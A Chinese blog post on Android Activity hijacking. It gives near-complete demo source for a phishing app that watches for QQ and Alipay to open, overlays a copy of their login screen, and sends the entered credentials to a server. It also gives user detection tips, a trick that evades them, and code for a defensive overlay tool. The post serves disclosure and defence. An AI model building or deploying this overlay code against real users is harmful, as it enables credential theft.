文档章节

activity劫持反劫持

骑牛找牛
 骑牛找牛
发布于 2014/07/21 17:35
字数 3183
阅读 2607
收藏 19

【推荐】2019 Java 开发者跳槽指南.pdf(吐血整理) >>>

1、Activity调度机制

android为了提高用户的用户体验,对于不同的应用程序之间的切换,基本上是无缝。他们切换的只是一个activity,让切换的到前台显示,另一个应用则被覆盖到后台,不可见。Activity的概念相当于一个与用户交互的界面。而Activity的调度是交由Android系统中的AmS管理的。AmS即ActivityManagerService(Activity管理服务),各个应用想启动或停止一个进程,都是先报告给AmS。 当AmS收到要启动或停止Activity的消息时,它先更新内部记录,再通知相应的进程运行或停止指定的Activity。当新的Activity启动,前一个Activity就会停止,这些Activity都保留在系统中的一个Activity历史栈中。每有一个Activity启动,它就压入历史栈顶,并在手机上显示。当用户按下back键时,顶部Activity弹出,恢复前一个Activity,栈顶指向当前的Activity。 

2、Android设计上的缺陷——Activity劫持 

如果在启动一个Activity时,给它加入一个标志位FLAG_ACTIVITY_NEW_TASK,就能使它置于栈顶并立马呈现给用户。 
但是这样的设计却有一个缺陷。如果这个Activity是用于盗号的伪装Activity呢? 
在Android系统当中,程序可以枚举当前运行的进程而不需要声明其他权限,这样子我们就可以写一个程序,启动一个后台的服务,这个服务不断地扫描当前运行的进程,当发现目标进程启动时,就启动一个伪装的Activity。如果这个Activity是登录界面,那么就可以从中获取用户的账号密码。 

 一个运行在后台的服务可以做到如下两点:1,决定哪一个activity运行在前台  2,运行自己app的activity到前台。

 这样,恶意的开发者就可以对应程序进行攻击了,对于有登陆界面的应用程序,他们可以伪造一个一模一样的界面,普通用户根本无法识别是真的还是假。用户输入用户名和密码之后,恶意程序就可以悄无声息的把用户信息上传到服务器了。这样是非常危险的。


实现原理:如果我们注册一个receiver,响应android.intent.action.BOOT_COMPLETED,使得开启启动一个service;这个service,会启动一个计时器,不停枚举当前进程中是否有预设的进程启动,如果发现有预设进程,则使用FLAG_ACTIVITY_NEW_TASK启动自己的钓鱼界面,截获正常应用的登录凭证。


3、示例 
下面是示例代码。 
AndroidManifest.xml文件的代码。

[html] view plaincopy

  1. <?xml version="1.0" encoding="utf-8"?>  

  2. <manifest xmlns:android="http://schemas.android.com/apk/res/android"  

  3.     package="com.sinaapp.msdxblog.android.activityhijacking"  

  4.     android:versionCode="1"  

  5.     android:versionName="1.0" >  

  6.   

  7.     <uses-sdk android:minSdkVersion="4" />  

  8.   

  9.     <uses-permission android:name="android.permission.INTERNET" />  

  10.     <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />  

  11.   

  12.     <application  

  13.         android:name=".HijackingApplication"  

  14.         android:icon="@drawable/icon"  

  15.         android:label="@string/app_name" >  

  16.         <activity  

  17.             android:name=".activity.HijackingActivity"  

  18.             android:theme="@style/transparent"  

  19.             android:label="@string/app_name" >  

  20.             <intent-filter>  

  21.                 <action android:name="android.intent.action.MAIN" />  

  22.   

  23.                 <category android:name="android.intent.category.LAUNCHER" />  

  24.             </intent-filter>  

  25.         </activity>  

  26.         <activity android:name=".activity.sadstories.JokeActivity" />  

  27.         <activity android:name=".activity.sadstories.QQStoryActivity" />  

  28.         <activity android:name=".activity.sadstories.AlipayStoryActivity" />  

  29.   

  30.         <receiver  

  31.             android:name=".receiver.HijackingReceiver"  

  32.             android:enabled="true"  

  33.             android:exported="true" >  

  34.             <intent-filter>  

  35.                 <action android:name="android.intent.action.BOOT_COMPLETED" />  

  36.             </intent-filter>  

  37.         </receiver>  

  38.   

  39.         <service android:name=".service.HijackingService" >  

  40.         </service>  

  41.     </application>  

  42.   

  43. </manifest>  


在以上的代码中,声明了一个服务service,用于枚举当前运行的进程。其中如果不想开机启动的话,甚至可以把以上receiver部分的代码,及声明开机启动的权限的这一行代码 <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />去掉,仅仅需要访问网络的权限(向外发送获取到的账号密码),单从AndroidManifest文件是看不出任何异常的。 

下面是正常的Activity的代码。在这里只是启动用于Activity劫持的服务。如果在上面的代码中已经声明了开机启动,则这一步也可以省略。 

 

[javascript] view plaincopy

  1. package com.sinaapp.msdxblog.android.activityhijacking.activity;  

  2.   

  3. import android.app.Activity;  

  4. import android.content.Intent;  

  5. import android.os.Bundle;  

  6. import android.util.Log;  

  7.   

  8. import com.sinaapp.msdxblog.android.activityhijacking.R;  

  9. import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService;  

  10.   

  11. public class HijackingActivity extends Activity {  

  12.     /** Called when the activity is first created. */  

  13.     @Override  

  14.     public void onCreate(Bundle savedInstanceState) {  

  15.         super.onCreate(savedInstanceState);  

  16.         setContentView(R.layout.main);  

  17.         Intent intent2 = new Intent(this, HijackingService.class);  

  18.         startService(intent2);  

  19.         Log.w("hijacking""activity启动用来劫持的Service");  

  20.     }  

  21. }  


如果想要开机启动,则需要一个receiver,即广播接收器,在开机时得到开机启动的广播,并在这里启动服务。如果没有开机启动(这跟上面至少要实现一处,不然服务就没有被启动了),则这一步可以省略。

[java] view plaincopy

  1. /* 

  2.  * @(#)HijackingBroadcast.java             Project:ActivityHijackingDemo 

  3.  * Date:2012-6-7 

  4.  * 

  5.  * Copyright (c) 2011 CFuture09, Institute of Software,  

  6.  * Guangdong Ocean University, Zhanjiang, GuangDong, China. 

  7.  * All rights reserved. 

  8.  * 

  9.  * Licensed under the Apache License, Version 2.0 (the "License"); 

  10.  *  you may not use this file except in compliance with the License. 

  11.  * You may obtain a copy of the License at 

  12.  * 

  13.  *     http://www.apache.org/licenses/LICENSE-2.0 

  14.  * 

  15.  * Unless required by applicable law or agreed to in writing, software 

  16.  * distributed under the License is distributed on an "AS IS" BASIS, 

  17.  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 

  18.  * See the License for the specific language governing permissions and 

  19.  * limitations under the License. 

  20.  */  

  21. package com.sinaapp.msdxblog.android.activityhijacking.receiver;  

  22.   

  23. import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService;  

  24.   

  25. import android.content.BroadcastReceiver;  

  26. import android.content.Context;  

  27. import android.content.Intent;  

  28. import android.util.Log;  

  29.   

  30. /** 

  31.  * @author Geek_Soledad (66704238@51uc.com) 

  32.  */  

  33. public class HijackingReceiver extends BroadcastReceiver {  

  34.   

  35.     @Override  

  36.     public void onReceive(Context context, Intent intent) {  

  37.         if (intent.getAction().equals("android.intent.action.BOOT_COMPLETED")) {  

  38.             Log.w("hijacking""开机启动");  

  39.             Intent intent2 = new Intent(context, HijackingService.class);  

  40.             context.startService(intent2);  

  41.             Log.w("hijacking""启动用来劫持的Service");  

  42.         }  

  43.     }  

  44. }  


下面这个HijackingService类可就关键了,即用来进行Activity劫持的。 
在这里,将运行枚举当前运行的进程,发现目标进程,弹出伪装程序。 
代码如下:

[java] view plaincopy

  1. /* 

  2.  * @(#)HijackingService.java               Project:ActivityHijackingDemo 

  3.  * Date:2012-6-7 

  4.  * 

  5.  * Copyright (c) 2011 CFuture09, Institute of Software,  

  6.  * Guangdong Ocean University, Zhanjiang, GuangDong, China. 

  7.  * All rights reserved. 

  8.  * 

  9.  * Licensed under the Apache License, Version 2.0 (the "License"); 

  10.  *  you may not use this file except in compliance with the License. 

  11.  * You may obtain a copy of the License at 

  12.  * 

  13.  *     http://www.apache.org/licenses/LICENSE-2.0 

  14.  * 

  15.  * Unless required by applicable law or agreed to in writing, software 

  16.  * distributed under the License is distributed on an "AS IS" BASIS, 

  17.  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 

  18.  * See the License for the specific language governing permissions and 

  19.  * limitations under the License. 

  20.  */  

  21. package com.sinaapp.msdxblog.android.activityhijacking.service;  

  22.   

  23. import java.util.HashMap;  

  24. import java.util.List;  

  25.   

  26. import android.app.ActivityManager;  

  27. import android.app.ActivityManager.RunningAppProcessInfo;  

  28. import android.app.Service;  

  29. import android.content.Context;  

  30. import android.content.Intent;  

  31. import android.os.Handler;  

  32. import android.os.IBinder;  

  33. import android.util.Log;  

  34.   

  35. import com.sinaapp.msdxblog.android.activityhijacking.HijackingApplication;  

  36. import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.AlipayStoryActivity;  

  37. import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.JokeActivity;  

  38. import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.QQStoryActivity;  

  39.   

  40. /** 

  41.  * @author Geek_Soledad (66704238@51uc.com) 

  42.  */  

  43. public class HijackingService extends Service {  

  44.     private boolean hasStart = false;  

  45.     // 这是一个悲伤的故事……  

  46.     HashMap<String, Class<?>> mSadStories = new HashMap<String, Class<?>>();  

  47.   

  48.     // Timer mTimer = new Timer();  

  49.     Handler handler = new Handler();  

  50.   

  51.     Runnable mTask = new Runnable() {  

  52.   

  53.         @Override  

  54.         public void run() {  

  55.             ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);  

  56.             List<RunningAppProcessInfo> appProcessInfos = activityManager  

  57.                     .getRunningAppProcesses();  

  58.             // 枚举进程  

  59.             Log.w("hijacking""正在枚举进程");  

  60.             for (RunningAppProcessInfo appProcessInfo : appProcessInfos) {  

  61.                 // 如果APP在前台,那么——悲伤的故事就要来了  

  62.                 if (appProcessInfo.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {  

  63.                     if (mSadStories.containsKey(appProcessInfo.processName)) {  

  64.                         // 进行劫持  

  65.                         hijacking(appProcessInfo.processName);  

  66.                     } else {  

  67.                          Log.w("hijacking", appProcessInfo.processName);  

  68.                     }  

  69.                 }  

  70.             }  

  71.             handler.postDelayed(mTask, 1000);  

  72.         }  

  73.   

  74.         /** 

  75.          * 进行劫持 

  76.          * @param processName 

  77.          */  

  78.         private void hijacking(String processName) {  

  79.             Log.w("hijacking""有程序要悲剧了……");  

  80.             if (((HijackingApplication) getApplication())  

  81.                     .hasProgressBeHijacked(processName) == false) {  

  82.                 Log.w("hijacking""悲剧正在发生");  

  83.                 Intent jackingIsComing = new Intent(getBaseContext(),  

  84.                         mSadStories.get(processName));  

  85.                 jackingIsComing.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);  

  86.                 getApplication().startActivity(jackingIsComing);  

  87.                 ((HijackingApplication) getApplication())  

  88.                         .addProgressHijacked(processName);  

  89.                 Log.w("hijacking""已经劫持");  

  90.             }  

  91.         }  

  92.     };  

  93.   

  94.     @Override  

  95.     public IBinder onBind(Intent intent) {  

  96.         return null;  

  97.     }  

  98.   

  99.     @Override  

  100.     public void onStart(Intent intent, int startId) {  

  101.         super.onStart(intent, startId);  

  102.         if (!hasStart) {  

  103.             mSadStories.put("com.sinaapp.msdxblog.android.lol",  

  104.                     JokeActivity.class);  

  105.             mSadStories.put("com.tencent.mobileqq", QQStoryActivity.class);  

  106.             mSadStories.put("com.eg.android.AlipayGphone",  

  107.                     AlipayStoryActivity.class);  

  108.             handler.postDelayed(mTask, 1000);  

  109.             hasStart = true;  

  110.         }  

  111.     }  

  112.   

  113.     @Override  

  114.     public boolean stopService(Intent name) {  

  115.         hasStart = false;  

  116.         Log.w("hijacking""劫持服务停止");  

  117.         ((HijackingApplication) getApplication()).clearProgressHijacked();  

  118.         return super.stopService(name);  

  119.     }  

  120. }  


下面是支付宝的伪装类(布局文件就不写了,这个是对老版本的支付宝界面的伪装,新的支付宝登录界面已经完全不一样了。表示老版本的支付宝的界面相当蛋疼,读从它反编译出来的代码苦逼地读了整个通宵结果还是没读明白。它的登录界面各种布局蛋疼地嵌套了十层,而我为了实现跟它一样的效果也蛋疼地嵌套了八层的组件)。

[java] view plaincopy

  1. /* 

  2.  * @(#)QQStoryActivity.java            Project:ActivityHijackingDemo 

  3.  * Date:2012-6-7 

  4.  * 

  5.  * Copyright (c) 2011 CFuture09, Institute of Software,  

  6.  * Guangdong Ocean University, Zhanjiang, GuangDong, China. 

  7.  * All rights reserved. 

  8.  * 

  9.  * Licensed under the Apache License, Version 2.0 (the "License"); 

  10.  *  you may not use this file except in compliance with the License. 

  11.  * You may obtain a copy of the License at 

  12.  * 

  13.  *     http://www.apache.org/licenses/LICENSE-2.0 

  14.  * 

  15.  * Unless required by applicable law or agreed to in writing, software 

  16.  * distributed under the License is distributed on an "AS IS" BASIS, 

  17.  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 

  18.  * See the License for the specific language governing permissions and 

  19.  * limitations under the License. 

  20.  */  

  21. package com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories;  

  22.   

  23. import android.app.Activity;  

  24. import android.os.Bundle;  

  25. import android.os.Handler;  

  26. import android.os.HandlerThread;  

  27. import android.text.Html;  

  28. import android.view.View;  

  29. import android.widget.Button;  

  30. import android.widget.EditText;  

  31. import android.widget.TextView;  

  32.   

  33. import com.sinaapp.msdxblog.android.activityhijacking.R;  

  34. import com.sinaapp.msdxblog.android.activityhijacking.utils.SendUtil;  

  35.   

  36. /** 

  37.  * @author Geek_Soledad (66704238@51uc.com) 

  38.  */  

  39. public class AlipayStoryActivity extends Activity {  

  40.     private EditText name;  

  41.     private EditText password;  

  42.     private Button mBtAlipay;  

  43.     private Button mBtTaobao;  

  44.     private Button mBtRegister;  

  45.   

  46.     private TextView mTvFindpswd;  

  47.   

  48.     @Override  

  49.     protected void onCreate(Bundle savedInstanceState) {  

  50.         super.onCreate(savedInstanceState);  

  51.         this.setTheme(android.R.style.Theme_NoTitleBar);  

  52.         setContentView(R.layout.alipay);  

  53.         mBtAlipay = (Button) findViewById(R.id.alipay_bt_alipay);  

  54.         mBtTaobao = (Button) findViewById(R.id.alipay_bt_taobao);  

  55.         mBtRegister = (Button) findViewById(R.id.alipay_bt_register);  

  56.         mTvFindpswd = (TextView) findViewById(R.id.alipay_findpswd);  

  57.         mTvFindpswd.setText(Html.fromHtml("[u]找回登录密码[/u]"));  

  58.         mBtAlipay.setSelected(true);  

  59.   

  60.         name = (EditText) findViewById(R.id.input_name);  

  61.         password = (EditText) findViewById(R.id.input_password);  

  62.   

  63.     }  

  64.   

  65.     public void onButtonClicked(View v) {  

  66.         switch (v.getId()) {  

  67.         case R.id.alipay_bt_login:  

  68.             HandlerThread handlerThread = new HandlerThread("send");  

  69.             handlerThread.start();  

  70.             new Handler(handlerThread.getLooper()).post(new Runnable() {  

  71.                 @Override  

  72.                 public void run() {  

  73.                     // 发送获取到的用户密码  

  74.                     SendUtil.sendInfo(name.getText().toString(), password  

  75.                             .getText().toString(), "支付宝");  

  76.                 }  

  77.             });  

  78.             moveTaskToBack(true);  

  79.   

  80.             break;  

  81.         case R.id.alipay_bt_alipay:  

  82.             chooseToAlipay();  

  83.             break;  

  84.         case R.id.alipay_bt_taobao:  

  85.             chooseToTaobao();  

  86.             break;  

  87.         default:  

  88.             break;  

  89.         }  

  90.     }  

  91.   

  92.     private void chooseToAlipay() {  

  93.         mBtAlipay.setSelected(true);  

  94.         mBtTaobao.setSelected(false);  

  95.         name.setHint(R.string.alipay_name_alipay_hint);  

  96.         mTvFindpswd.setVisibility(View.VISIBLE);  

  97.         mBtRegister.setVisibility(View.VISIBLE);  

  98.     }  

  99.   

  100.     private void chooseToTaobao() {  

  101.         mBtAlipay.setSelected(false);  

  102.         mBtTaobao.setSelected(true);  

  103.         name.setHint(R.string.alipay_name_taobao_hint);  

  104.         mTvFindpswd.setVisibility(View.GONE);  

  105.         mBtRegister.setVisibility(View.GONE);  

  106.     }  

  107. }  


上面的其他代码主要是为了让界面的点击效果与真的支付宝看起来尽量一样。主要的代码是发送用户密码的那一句。 
至于SendUtil我就不提供了,它是向我写的服务器端发送一个HTTP请求,将用户密码发送出去。 

下面是我在学校时用来演示的PPT及APK。 

演示文档和APK

4、用户防范 
android手机均有一个HOME键(即小房子的那个图标),长按可以看到近期任务 对于我所用的HTC G14而言,显示的最近的一个是上一个运行的程序。小米显示的最近的一个是当前运行的程序。所以,在要输入密码进行登录时,可以通过长按HOME键查看近期任务,以我的手机为例,如果在登录QQ时长按发现近期任务出现了QQ,则我现在的这个登录界面就极有可能是伪装了,切换到另一个程序,再查看近期任务,就可以知道这个登录界面是来源于哪个程序了。 
如果是小米手机的话,在进行登录时,如果查看的近期任务的第一个不是自己要登录的那个程序的名字,则它就是伪装的。 

而且这种方法也不是绝对的  可以在AndroidManifest中相应activity下添加android:noHistory="true"这样就不会把伪装界面显示在最近任务中


5、反劫持

然而,如果真的爆发了这种恶意程序,我们并不能在启动程序时每一次都那么小心去查看判断当前在运行的是哪一个程序,当android:noHistory="true"时上面的方法也无效   因此,前几个星期花了一点时间写了一个程序,叫反劫持助手。原理很简单,就是获取当前运行的是哪一个程序,并且显示在一个浮动窗口中,以帮忙用户判断当前运行的是哪一个程序,防范一些钓鱼程序的欺骗。

在这一次,由于是“正当防卫”,就不再通过枚举来获取当前运行的程序了,在manifest文件中增加一个权限: 

android权限

[html] view plaincopy

  1. <uses-permission android:name="android.permission.GET_TASKS" />  

然后启动程序的时候,启动一个Service,在Service中启动一个浮动窗口,并周期性检测当前运行的是哪一个程序,然后显示在浮动窗口中。 
程序截图如下: 



其中Service代码如下:

[java] view plaincopy

  1. /* 

  2.  * @(#)AntiService.java            Project:ActivityHijackingDemo 

  3.  * Date:2012-9-13 

  4.  * 

  5.  * Copyright (c) 2011 CFuture09, Institute of Software,  

  6.  * Guangdong Ocean University, Zhanjiang, GuangDong, China. 

  7.  * All rights reserved. 

  8.  * 

  9.  * Licensed under the Apache License, Version 2.0 (the "License"); 

  10.  *  you may not use this file except in compliance with the License. 

  11.  * You may obtain a copy of the License at 

  12.  * 

  13.  *     http://www.apache.org/licenses/LICENSE-2.0 

  14.  * 

  15.  * Unless required by applicable law or agreed to in writing, software 

  16.  * distributed under the License is distributed on an "AS IS" BASIS, 

  17.  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 

  18.  * See the License for the specific language governing permissions and 

  19.  * limitations under the License. 

  20.  */  

  21. package com.sinaapp.msdxblog.antihijacking.service;  

  22.   

  23. import android.app.ActivityManager;  

  24. import android.app.Notification;  

  25. import android.app.Service;  

  26. import android.content.Context;  

  27. import android.content.Intent;  

  28. import android.content.pm.PackageManager;  

  29. import android.content.pm.PackageManager.NameNotFoundException;  

  30. import android.os.Bundle;  

  31. import android.os.Handler;  

  32. import android.os.IBinder;  

  33. import android.os.Message;  

  34. import android.util.Log;  

  35.   

  36. import com.sinaapp.msdxblog.androidkit.thread.HandlerFactory;  

  37. import com.sinaapp.msdxblog.antihijacking.AntiConstants;  

  38. import com.sinaapp.msdxblog.antihijacking.view.AntiView;  

  39.   

  40. /** 

  41.  * @author Geek_Soledad (66704238@51uc.com) 

  42.  */  

  43. public class AntiService extends Service {  

  44.   

  45.     private boolean shouldLoop = false;  

  46.     private Handler handler;  

  47.     private ActivityManager am;  

  48.     private PackageManager pm;  

  49.     private Handler mainHandler;  

  50.     private AntiView mAntiView;  

  51.     private int circle = 2000;  

  52.   

  53.     @Override  

  54.     public IBinder onBind(Intent intent) {  

  55.         return null;  

  56.     }  

  57.   

  58.     @Override  

  59.     public void onStart(Intent intent, int startId) {  

  60.         super.onStart(intent, startId);  

  61.         startForeground(19901008new Notification());  

  62.         if (intent != null) {  

  63.              circle = intent.getIntExtra(AntiConstants.CIRCLE, 2000);  

  64.         }   

  65.         Log.i("circle", circle + "ms");  

  66.         if (true == shouldLoop) {  

  67.             return;  

  68.         }  

  69.         mAntiView = new AntiView(this);  

  70.         mainHandler = new Handler() {  

  71.             public void handleMessage(Message msg) {  

  72.                 String name = msg.getData().getString("name");  

  73.                 mAntiView.setText(name);  

  74.             };  

  75.         };  

  76.         pm = getPackageManager();  

  77.         shouldLoop = true;  

  78.         am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);  

  79.         handler = new Handler(  

  80.                 HandlerFactory.getHandlerLooperInOtherThread("anti")) {  

  81.             @Override  

  82.             public void handleMessage(Message msg) {  

  83.                 super.handleMessage(msg);  

  84.                 String packageName = am.getRunningTasks(1).get(0).topActivity  

  85.                         .getPackageName();  

  86.                 try {  

  87.                     String progressName = pm.getApplicationLabel(  

  88.                             pm.getApplicationInfo(packageName,  

  89.                                     PackageManager.GET_META_DATA)).toString();  

  90.                     updateText(progressName);  

  91.                 } catch (NameNotFoundException e) {  

  92.                     e.printStackTrace();  

  93.                 }  

  94.   

  95.                 if (shouldLoop) {  

  96.                     handler.sendEmptyMessageDelayed(0, circle);  

  97.                 }  

  98.             }  

  99.         };  

  100.         handler.sendEmptyMessage(0);  

  101.     }  

  102.   

  103.     private void updateText(String name) {  

  104.         Message message = new Message();  

  105.         Bundle data = new Bundle();  

  106.         data.putString("name", name);  

  107.         message.setData(data);  

  108.         mainHandler.sendMessage(message);  

  109.     }  

  110.   

  111.     @Override  

  112.     public void onDestroy() {  

  113.         shouldLoop = false;  

  114.         mAntiView.remove();  

  115.         super.onDestroy();  

  116.     }  

  117.   

  118. }  


浮动窗口仅为一个简单的textview,非此次的技术重点,在这里省略不讲。 
当然,从以上代码也可以看出本程序只能防范通过Activity作为钓鱼界面的程序,因为它是通过运行的顶层的Activity来获取程序名称的,对WooYun最近提到的另一个钓鱼方法它还是无能为力的,关于这一点将在下次谈。 


© 著作权归作者所有

上一篇: Intent详解
骑牛找牛
粉丝 2
博文 28
码字总数 29263
作品 0
常德
私信 提问
你的应用是如何被替换的?App劫持病毒剖析

一.App劫持病毒介绍 App劫持是指执行流程被重定向,又可分为Activity劫持、安装劫持、流量劫持、函数执行劫持等。本文将对近期利用Acticity劫持和安装劫持的病毒进行分析。 二.Activity劫持病...

阿里聚安全
2016/04/19
272
1
混合开发之解决H5页面出现广告的问题

  公司采用了H5和Android混合开发,以原生代码为壳,H5代码编写逻辑的方式做产品。笔者之前写过一篇文章简单聊到了这种方式,有兴趣的朋友可以了解一下,顺便点个赞。Android原生与H5通信 ...

饮水思源为名
2018/08/08
0
0
Android研发安全2-Activity组件安全(下)

这篇文章是Android研发安全之Activity组件安全第二篇,本文将给大家分享Activity界面劫持方面的预防知识。 什么是Activity劫持 简单的说就是APP正常的Activity界面被恶意攻击者替换上仿冒的恶...

mynameishuangshuai
2016/10/20
0
0
伪装成百度安卓APP的木马可劫持路由流量|

据外媒报道,现在一款可伪装成百度的安卓客户端安卓木马正在肆虐,该木马被称为“Switcher”。用户一旦下载安装携带该木马的恶意软件,它就会篡改用户的无线路由器DNS设置,劫持用户的网络流...

玄学酱
2018/04/23
0
0
知物由学 | 见招拆招,Android应用破解及防护秘籍

本文来自网易云社区。 “知物由学”是网易云易盾打造的一个品牌栏目,词语出自汉·王充《论衡·实知》。人,能力有高下之分,学习才知道事物的道理,而后才有智慧,不去求问就不会知道。“知...

网易云
2018/08/22
0
0

没有更多内容

加载失败,请刷新页面

加载更多

为什么面试必问线程状态?你的回答满分了吗

看很多同学的面经、网上的面试资料,都不约而同的提到了一个基础问题:“你知道线程有几种状态吗?状态之间的扭转是怎样的?”,有准备的同学都知道有五种:New(新建)、Runnable(可运行)...

Z_J_H
23分钟前
4
0
如何保障云上数据安全?一文详解云原生全链路加密

点击下载《不一样的 双11 技术:阿里巴巴经济体云原生实践》 本文节选自《不一样的 双11 技术:阿里巴巴经济体云原生实践》一书,点击上方图片即可下载! 作者 李鹏(壮怀)阿里云容器服务高...

阿里巴巴云原生
23分钟前
3
0
获取数组的第一个元素

我有一个数组: array( 4 => 'apple', 7 => 'orange', 13 => 'plum' ) 我想获得此数组的第一个元素。 apple 预期结果: apple 一个要求: 它不能通过引用传递来完成 ,所以array_shift不是一......

javail
25分钟前
4
0
哈希情史知多少

<p align="right">——日拱一卒,不期而至!</p> 简介 hash是我们工作中经常听到的词,比如哈希表、哈希函数、hashCode、HashTable、HashMap等等,那么它们之间到底有怎样的爱恨情仇呢?来一...

彤哥读源码
32分钟前
4
0
SpringCloud 学习(5) --- Zuul(一)基本概念、配置

[TOC] Spring Cloud eureka:注册中心 服务端:提供注册 客户端:进行注册 ribbon:负载均衡(集群) Hystrix:熔断器,执行备选方案 Feign:远程调用 Zuul:网关,统一入口。 1.1、一夫当关,...

庭前云落
34分钟前
5
0

没有更多内容

加载失败,请刷新页面

加载更多

返回顶部
顶部